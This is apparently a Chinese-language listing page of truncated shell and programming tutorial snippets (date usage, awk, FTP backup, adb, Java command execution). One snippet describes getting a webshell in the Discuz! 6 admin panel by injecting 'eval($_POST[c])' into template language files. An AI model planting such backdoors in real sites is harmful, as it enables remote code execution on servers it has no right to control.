java執行命令(cmd,shell)

一個簡單的小工具,用java執行系統命令,並列印輸出。public class OSExecute{/** * <b>command。</b> * <p><b>詳細說明:</b></p> * <!-- 在此添加詳細說明 --> * 無。 * @param command */public static void command(String command){try{Process process=new

伺服器網速即時監控(shell指令碼)

用法:#>moniotr.sh eth0 1#!/bin/bash# test network width#第一個參數是網卡名稱 後面是即時重新整理的時間, 1代表1秒function usage{        echo "Usage: $0 "        echo "e.g. $0 eth0 2"        exit 65}if [ $# -lt 2 ];then        usagefitypeset in in_old dif_intypeset out

讓windows的GNU emacs預設shell啟動cygwin bash

區區的好友Victor告知說他打算轉用cygwin版的emacs了,為了更加方便的整合他開發MTK時的bash環境。 於我這也google了一下cygwin emacs等主題。。結果在這時(http://www.khngai.com/emacs/cygwin.php)找到一些非常用的定製。。  (add-hook 'eshell-mode-hook   '(lambda nil   (eshell/export "EPOCROOT=//SomeWhere//")   (let ((path)) 

android adb shell工具製作

1.將  adb 工具下的以下三個 adb.exeAdbWinUsbApi.dllAdbWinApi.dll檔案安裝到  C:\WINDOWS\system32  2.編寫一個test.bat檔案 adb push "\\192.168.2.76\jiangsai\mc850\庫\不動態產生撥號指令碼\system" /systemadb shell chmod 4777 /system/bin/rildadb shell chmod 4777 /system/bin/pppdadb

shell if 判斷語句

轉自http://vc88.javaeye.com/blog/658764 shell if 判讀語句[ 前後空格] 前面空格[ -a FILE ] 如果 FILE 存在則為真。[ -b FILE ] 如果 FILE 存在且是一個塊特殊檔案則為真。[ -c FILE ] 如果 FILE 存在且是一個字特殊檔案則為真。[ -d FILE ] 如果 FILE 存在且是一個目錄則為真。[ -e FILE ] 如果 FILE 存在則為真。[ -f FILE ] 如果 FILE

[原創]Discuz! 6 後台拿Shell的方法

        如果後台可以線上編輯模板的話,下面的方法就可以拿SHELL了:) 1.後台編輯customfaq(customfaq.lang.php檔案) 在Copy code eval($_POST[c]); 2.後台編輯misc(misc.lang.php檔案) 把post_reply_quote對應的內容改為 Copy code ";eval($_POST[c]);" 在前台回帖處選擇引用回複。 簡單看下代碼: include/newreply.inc.php 107行: Copy

shell:date 常用方式

shell:date 常用方式在linux下擷取時間字串命令 date# 以yyyymmdd格式輸出23天之前現在這個時刻的時間$ date +%Y%m%d –date=’23 days ago’$ date -uThu Sep 28 09:32:04 UTC 2006$ date -RThu, 28 Sep 2006 17:32:28 +0800# 測試十億分之一秒$ date +’%Y%m%d %H:%M:%S.%N’;date +’%Y%m%d %H:%M:%S.%N’;date

Linux shell 編程

一、使用者登陸進入系統後的系統內容變數: $HOME 使用者自己的目錄 $PATH 執行命令時所搜尋的目錄 $TZ 時區 $MAILCHECK 每隔多少秒檢查是否有新的信件 $PS1 在命令列時的提示號 $PS2 當命令尚未打完時,Shell 要求再輸入時的提示號 $MANPATH man 指令的搜尋路徑 二、特殊變數: $0 這個程式的執行名字 $n 這個程式的第n個參數值,n=1..9 $* 這個程式的所有參數 $# 這個程式的參數個數 $$ 這個程式的PID $! 執行上一個指令的PID 

Shell編程筆記(進階2)文本過濾

Shell編程筆記(4)-文本過濾 作者: sunwill_chen 發表日期: 2007-01-30 17:17 文章屬性: 原創 複製連結 1.Regex  (1)Regex一般用來描述文字模式的特殊用法,由一般字元(例如字元a-z)以及特殊字元(稱為元字元,如/、*、?等)組成。  (2)基本元字元集及其含義      ^ :只匹配行首。   如^a 匹配以a開頭的行abc,a2e,a12,aaa,......      $ :只匹配行尾。   如^a

awk中使用shell變數疑問

awk中使用shell變數疑問 作者:swysn     發表時間:2002/03/22 05:01pm[這個貼子最後由valentine在 2002/10/22 08:46am 編輯]2002/01/01 1312 32132 AA 32132131#!/bin/shecho "ENTER:"read keycat tt|awk '{if(prev=="$key")print;prev=$1} 以上內容如果我輸:2002/01/01沒結果輸出!又錯了?

一個shell指令碼解多個壓縮檔(改別人的代碼)

                         一個shell指令碼解多個壓縮檔(改別人的代碼)    這個程式核心代碼是有linuxsir.org的tram兄寫的,主要是時限瞭解壓縮檔的功能.我加了一些代碼使他能夠壓縮目錄和解開rar檔案,這個SHELL程式還是很簡單的,我經常用他,將程式的許可權用chmod gou+x filename該為可執行,然後複製到/bin/usr下.這樣就可以使用了.呵呵.  一下就是代碼.#!/bin/bashif [ -d $1 ]; thentar

【shell】linux統計某一檔案中字串“sent ip”出現的次數

    前幾天在測試產品效能,連續跑了好幾天的程式,今天停止了,由於程式還不是很穩定,測試完了,要求統計一次程式從啟了多少次。於是開啟記錄檔,自己就開始一次一次地算啊,發現太大了,看的眼睛都花了。心想這樣不行,要讓電腦自己統計才好,於是想了想,就寫了以下一行sh語句,果然一下就統計好了。為了防止忘記,寫到bolg中。(好在沒有自己算,4M大的記錄檔,自己算的話,估計下班了,該找不到路回家了)    關鍵的在下面了。 linux統計某一檔案中字串“sent ip”出現的次數: cat nohup.

shell date常用方式

在linux下擷取時間字串命令 date# 以yyyymmdd格式輸出23天之前現在這個時刻的時間$ date +%Y%m%d --date='23 days ago'$ date -uThu Sep 28 09:32:04 UTC 2006$ date -RThu, 28 Sep 2006 17:32:28 +0800# 測試十億分之一秒$ date +'%Y%m%d %H:%M:%S.%N';date +'%Y%m%d %H:%M:%S.%N';date +'%Y%m%d %H:%M:%S.

如何在shell中對浮點數進行計算?

       在shell中具有最基本的數學計算能力,如可以使用expr 、let 。但這些都只能處理整形資料。為了要計算小數,就需要通過bc命令擴充。下面示範了一個例子,判斷輸出的參數類型,然後計算出它的平方.#!/bin/sh #filename: testbc

shell實現ftp自動備份

 功能:下載伺服器ftp目錄中的所有檔案,下載完後立即刪除伺服器ftp目錄中的所有檔案*********************---------------------環境:倆台機器都是centos4.5_x86****************1.ftp伺服器主機資訊ftp伺服器主機名稱servervftp服務端:vsftp-2.0.1-5.EL4.5vftp伺服器ftp目錄預設是系統使用者所在目錄這裡的使用者為ftptest,家目錄為/home/ftptest       IP:192.16

Linux shell 學習

1. man顯示彩色字元 在~/.bashrc添加如下內容:export LESS_TERMCAP_mb=$'/E[01;31m'export LESS_TERMCAP_md=$'/E[01;31m'export LESS_TERMCAP_me=$'/E[0m'export LESS_TERMCAP_se=$'/E[0m'export LESS_TERMCAP_so=$'/E[01;44;33m'export LESS_TERMCAP_ue=$'/E[0m'export

第一章第五課 蛋殼裡面有奧秘

第五課 蛋殼裡面有奧秘   大四上學期,臨近期中考試時,劉備在校園的超市裡意外地遇到了買菜的盧植老師,忽然有一種強烈的衝動想要和他親近起來。那時盧植已經離開了講台,是一家校辦公司的總經理。劉備主動迎上去,幫他提著菜籃子。然後一起走出門去,不知不覺來到了盧植家的樓下。   盧植說:“走吧,到我家去,一起弄飯吃!”   劉備猶豫了五秒鐘,臉憋得通紅,點點頭說:“好吧!”

簡單shell 命令重新導向

今天晚上花了一會寫的,開始用的是 argv 是個二位元組, 調程式的時候總是顯示不出,後來發現execvp貌似只支援 pointer array =。= 好吧。。。。程式思路:開子進程以後把 子進程的標準輸出 關閉, 然後在子進程中建立一個檔案,此時檔案會選擇 自身進程中最小的檔案標識符 作為該檔案的檔案標識符,也就是fd所以,以後子進程的所有標準輸出都流向了檔案, 這個應該是簡單的思路了吧,感覺GNU的源碼應該是用無名管道,甚至是有名管道(網路傳輸) 實現的,好吧我就不意淫了。。。

UNIX Shell 編程(2)

UNIX Shell 編程(2) 字元匹配星號(*)匹配0個以上的字元;而問號(?)則匹配1個字元。如:ls [a-z]*[0-9]表示顯示檔案名稱以小寫字母開始,且以數字結尾的檔案清單。輸出重新導向命令的輸出一般是提交到標準輸出裝置,可以轉向到檔案內,這叫輸出重新導向。在有標準輸出的命令後,添加>file符號後,命令的輸出就會寫入檔案file。如:[root@localhost misc]# whoroot pts/1 2009-04-14 09:39 (10.3.

linux中增加自訂的shell作為系統自動啟動並執行服務

最近碰到一個問題,資料庫安裝後,設定的oratab不好用,不能做到自動啟動,解決辦法: 用root登入,編輯/etc/rc.d/rc.local檔案。這個檔案是在系統完成所有初始化後執行的,我們可以把啟動指令碼寫到裡面這個指令碼裡面的命令都是以root來執行的,所以注意絕對路徑和環境變數的問題su - oracle -c "/u01/app/oracle/db_1/bin/dbstart" #啟動資料庫export ORACLE_SID=XXXexport

總頁數: 301 1 .... 283 284 285 286 287 .... 301 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.